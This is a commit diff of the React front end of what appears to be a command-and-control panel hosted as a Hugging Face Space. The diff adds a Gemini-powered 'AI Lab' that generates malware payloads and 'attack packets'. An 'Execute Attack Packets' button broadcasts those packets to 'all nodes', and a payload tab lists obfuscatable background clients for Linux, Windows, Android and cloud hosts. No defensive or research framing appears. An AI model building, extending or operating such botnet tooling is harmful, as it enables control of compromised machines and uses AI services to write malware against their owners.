Spaces:
Sleeping
Sleeping
Update src/App.tsx
Browse files- src/App.tsx +72 -15
src/App.tsx
CHANGED
|
@@ -393,19 +393,11 @@ function PayloadsTab() {
|
|
| 393 |
const [payloadFiles, setPayloadFiles] = useState<Record<string, string>>({});
|
| 394 |
const [activePayload, setActivePayload] = useState('hf_docker');
|
| 395 |
const [obfuscate, setObfuscate] = useState(false);
|
|
|
|
| 396 |
|
| 397 |
-
|
| 398 |
-
|
| 399 |
-
|
| 400 |
-
{ id: 'gh_pages', name: 'GitHub Pages (JS)', desc: 'Static HTML JS poller.' },
|
| 401 |
-
{ id: 'linux_local', name: 'Linux Server (Bash)', desc: 'Native sh script for background ping.' },
|
| 402 |
-
{ id: 'windows_local', name: 'Windows (PowerShell)', desc: 'Native ps1 script for background ping.' },
|
| 403 |
-
{ id: 'python_script', name: 'Raw Python Script', desc: 'Raw Python client for any environment.' },
|
| 404 |
-
{ id: 'node_js', name: 'Raw Node.js Script', desc: 'Raw Node.js client for any environment.' },
|
| 405 |
-
{ id: 'c_binary', name: 'C Binary', desc: 'Compiled C client using curl.' },
|
| 406 |
-
{ id: 'android_termux', name: 'Android (Termux)', desc: 'Termux bash script for Android.' },
|
| 407 |
-
{ id: 'android_java', name: 'Android App (Java)', desc: 'Simple Java classes for an Android Background Service.' },
|
| 408 |
-
];
|
| 409 |
|
| 410 |
useEffect(() => {
|
| 411 |
fetch(`/api/payloads/${activePayload}?obfuscate=${obfuscate}`)
|
|
@@ -483,6 +475,7 @@ function PayloadsTab() {
|
|
| 483 |
function AILabTab() {
|
| 484 |
const [prompt, setPrompt] = useState('');
|
| 485 |
const [mode, setMode] = useState<'payload' | 'packets' | 'evaluate'>('payload');
|
|
|
|
| 486 |
const [loading, setLoading] = useState(false);
|
| 487 |
const [result, setResult] = useState('');
|
| 488 |
const [errorMsg, setErrorMsg] = useState('');
|
|
@@ -492,12 +485,12 @@ function AILabTab() {
|
|
| 492 |
setErrorMsg('');
|
| 493 |
try {
|
| 494 |
let endpoint = '/api/ai/generate-payload';
|
| 495 |
-
let body: any = { prompt };
|
| 496 |
|
| 497 |
if (mode === 'packets') endpoint = '/api/ai/generate-packets';
|
| 498 |
if (mode === 'evaluate') {
|
| 499 |
endpoint = '/api/ai/evaluate-payload';
|
| 500 |
-
body = { code: prompt };
|
| 501 |
}
|
| 502 |
|
| 503 |
const res = await fetch(endpoint, {
|
|
@@ -514,6 +507,39 @@ function AILabTab() {
|
|
| 514 |
setLoading(false);
|
| 515 |
};
|
| 516 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 517 |
return (
|
| 518 |
<div className="flex flex-col gap-6 max-w-4xl mx-auto w-full">
|
| 519 |
<div className="mb-2">
|
|
@@ -527,6 +553,20 @@ function AILabTab() {
|
|
| 527 |
<Card title="AI Input" icon={<Cpu size={18} />}>
|
| 528 |
<div className="flex flex-col gap-4">
|
| 529 |
<div className="flex bg-black/20 rounded-lg p-1">
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 530 |
<button
|
| 531 |
onClick={() => setMode('payload')}
|
| 532 |
className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'payload' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
|
|
@@ -572,6 +612,12 @@ function AILabTab() {
|
|
| 572 |
{result ? (
|
| 573 |
<div className="flex flex-col h-full gap-3">
|
| 574 |
<div className="flex justify-end gap-2 px-1">
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 575 |
<button onClick={() => navigator.clipboard.writeText(result)} className="text-xs bg-white/10 hover:bg-white/20 px-3 py-1 rounded text-white transition-all">Copy Result</button>
|
| 576 |
</div>
|
| 577 |
<textarea
|
|
@@ -651,6 +697,7 @@ function DocsTab() {
|
|
| 651 |
function SettingsTab() {
|
| 652 |
const [hfToken, setHfToken] = useState('');
|
| 653 |
const [ghToken, setGhToken] = useState('');
|
|
|
|
| 654 |
const [status, setStatus] = useState('');
|
| 655 |
|
| 656 |
const handleSave = async () => {
|
|
@@ -658,7 +705,7 @@ function SettingsTab() {
|
|
| 658 |
const res = await fetch('/api/tokens', {
|
| 659 |
method: 'POST',
|
| 660 |
headers: { 'Content-Type': 'application/json' },
|
| 661 |
-
body: JSON.stringify({ hf_token: hfToken, github_token: ghToken })
|
| 662 |
});
|
| 663 |
const data = await res.json();
|
| 664 |
setStatus(data.message || 'Saved securely to in-memory state.');
|
|
@@ -700,6 +747,16 @@ function SettingsTab() {
|
|
| 700 |
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 focus:ring-1 focus:ring-indigo-500 transition-all font-mono shadow-inner"
|
| 701 |
/>
|
| 702 |
</div>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 703 |
<div className="pt-4 flex items-center justify-between">
|
| 704 |
<button
|
| 705 |
onClick={handleSave}
|
|
|
|
| 393 |
const [payloadFiles, setPayloadFiles] = useState<Record<string, string>>({});
|
| 394 |
const [activePayload, setActivePayload] = useState('hf_docker');
|
| 395 |
const [obfuscate, setObfuscate] = useState(false);
|
| 396 |
+
const [payloads, setPayloads] = useState<any[]>([]);
|
| 397 |
|
| 398 |
+
useEffect(() => {
|
| 399 |
+
fetch('/api/payloads').then(r => r.json()).then(d => setPayloads(d.payloads || []));
|
| 400 |
+
}, []);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 401 |
|
| 402 |
useEffect(() => {
|
| 403 |
fetch(`/api/payloads/${activePayload}?obfuscate=${obfuscate}`)
|
|
|
|
| 475 |
function AILabTab() {
|
| 476 |
const [prompt, setPrompt] = useState('');
|
| 477 |
const [mode, setMode] = useState<'payload' | 'packets' | 'evaluate'>('payload');
|
| 478 |
+
const [aiModel, setAiModel] = useState<'2.5' | '3.0'>('2.5');
|
| 479 |
const [loading, setLoading] = useState(false);
|
| 480 |
const [result, setResult] = useState('');
|
| 481 |
const [errorMsg, setErrorMsg] = useState('');
|
|
|
|
| 485 |
setErrorMsg('');
|
| 486 |
try {
|
| 487 |
let endpoint = '/api/ai/generate-payload';
|
| 488 |
+
let body: any = { prompt, model: aiModel };
|
| 489 |
|
| 490 |
if (mode === 'packets') endpoint = '/api/ai/generate-packets';
|
| 491 |
if (mode === 'evaluate') {
|
| 492 |
endpoint = '/api/ai/evaluate-payload';
|
| 493 |
+
body = { code: prompt, model: aiModel };
|
| 494 |
}
|
| 495 |
|
| 496 |
const res = await fetch(endpoint, {
|
|
|
|
| 507 |
setLoading(false);
|
| 508 |
};
|
| 509 |
|
| 510 |
+
const saveCustomPayload = async () => {
|
| 511 |
+
const name = window.prompt("Enter a name for this custom payload:");
|
| 512 |
+
if (!name) return;
|
| 513 |
+
try {
|
| 514 |
+
await fetch('/api/ai/save-payload', {
|
| 515 |
+
method: 'POST',
|
| 516 |
+
headers: { 'Content-Type': 'application/json' },
|
| 517 |
+
body: JSON.stringify({ name, code: result })
|
| 518 |
+
});
|
| 519 |
+
alert('Payload saved! You can find it in the Deploy Payloads tab.');
|
| 520 |
+
} catch (e: any) {
|
| 521 |
+
alert("Error saving: " + e.message);
|
| 522 |
+
}
|
| 523 |
+
};
|
| 524 |
+
|
| 525 |
+
const executePackets = async () => {
|
| 526 |
+
try {
|
| 527 |
+
const packets = JSON.parse(result);
|
| 528 |
+
if (!Array.isArray(packets)) throw new Error("Packets must be a JSON array.");
|
| 529 |
+
|
| 530 |
+
for (const pkt of packets) {
|
| 531 |
+
await fetch('/api/commands', {
|
| 532 |
+
method: 'POST',
|
| 533 |
+
headers: { 'Content-Type': 'application/json' },
|
| 534 |
+
body: JSON.stringify({ target: 'all', type: pkt.type || 'custom_json', payload: pkt.payload || pkt, repeat: false })
|
| 535 |
+
});
|
| 536 |
+
}
|
| 537 |
+
alert(`Dispatched ${packets.length} packets to all nodes.`);
|
| 538 |
+
} catch (e: any) {
|
| 539 |
+
alert("Error executing packets: " + e.message);
|
| 540 |
+
}
|
| 541 |
+
};
|
| 542 |
+
|
| 543 |
return (
|
| 544 |
<div className="flex flex-col gap-6 max-w-4xl mx-auto w-full">
|
| 545 |
<div className="mb-2">
|
|
|
|
| 553 |
<Card title="AI Input" icon={<Cpu size={18} />}>
|
| 554 |
<div className="flex flex-col gap-4">
|
| 555 |
<div className="flex bg-black/20 rounded-lg p-1">
|
| 556 |
+
<button
|
| 557 |
+
onClick={() => setAiModel('2.5')}
|
| 558 |
+
className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", aiModel === '2.5' ? "bg-slate-700 text-white" : "text-slate-400 hover:text-slate-200")}
|
| 559 |
+
>
|
| 560 |
+
Gemini 2.5
|
| 561 |
+
</button>
|
| 562 |
+
<button
|
| 563 |
+
onClick={() => setAiModel('3.0')}
|
| 564 |
+
className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", aiModel === '3.0' ? "bg-slate-700 text-white" : "text-slate-400 hover:text-slate-200")}
|
| 565 |
+
>
|
| 566 |
+
Gemini 3.0
|
| 567 |
+
</button>
|
| 568 |
+
</div>
|
| 569 |
+
<div className="flex bg-black/20 rounded-lg p-1 mt-2">
|
| 570 |
<button
|
| 571 |
onClick={() => setMode('payload')}
|
| 572 |
className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'payload' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
|
|
|
|
| 612 |
{result ? (
|
| 613 |
<div className="flex flex-col h-full gap-3">
|
| 614 |
<div className="flex justify-end gap-2 px-1">
|
| 615 |
+
{mode === 'payload' || mode === 'evaluate' ? (
|
| 616 |
+
<button onClick={saveCustomPayload} className="text-xs bg-indigo-500 hover:bg-indigo-400 px-3 py-1 rounded text-white transition-all font-bold">Save as Payload</button>
|
| 617 |
+
) : null}
|
| 618 |
+
{mode === 'packets' && (
|
| 619 |
+
<button onClick={executePackets} className="text-xs bg-red-500 hover:bg-red-400 px-3 py-1 rounded text-white transition-all font-bold tracking-wide uppercase">Execute Attack Packets</button>
|
| 620 |
+
)}
|
| 621 |
<button onClick={() => navigator.clipboard.writeText(result)} className="text-xs bg-white/10 hover:bg-white/20 px-3 py-1 rounded text-white transition-all">Copy Result</button>
|
| 622 |
</div>
|
| 623 |
<textarea
|
|
|
|
| 697 |
function SettingsTab() {
|
| 698 |
const [hfToken, setHfToken] = useState('');
|
| 699 |
const [ghToken, setGhToken] = useState('');
|
| 700 |
+
const [geminiToken, setGeminiToken] = useState('');
|
| 701 |
const [status, setStatus] = useState('');
|
| 702 |
|
| 703 |
const handleSave = async () => {
|
|
|
|
| 705 |
const res = await fetch('/api/tokens', {
|
| 706 |
method: 'POST',
|
| 707 |
headers: { 'Content-Type': 'application/json' },
|
| 708 |
+
body: JSON.stringify({ hf_token: hfToken, github_token: ghToken, gemini_token: geminiToken })
|
| 709 |
});
|
| 710 |
const data = await res.json();
|
| 711 |
setStatus(data.message || 'Saved securely to in-memory state.');
|
|
|
|
| 747 |
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 focus:ring-1 focus:ring-indigo-500 transition-all font-mono shadow-inner"
|
| 748 |
/>
|
| 749 |
</div>
|
| 750 |
+
<div>
|
| 751 |
+
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Gemini API Key (Optional Override)</label>
|
| 752 |
+
<input
|
| 753 |
+
type="password"
|
| 754 |
+
value={geminiToken}
|
| 755 |
+
onChange={e => setGeminiToken(e.target.value)}
|
| 756 |
+
placeholder="AI Studio API Key..."
|
| 757 |
+
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 focus:ring-1 focus:ring-indigo-500 transition-all font-mono shadow-inner"
|
| 758 |
+
/>
|
| 759 |
+
</div>
|
| 760 |
<div className="pt-4 flex items-center justify-between">
|
| 761 |
<button
|
| 762 |
onClick={handleSave}
|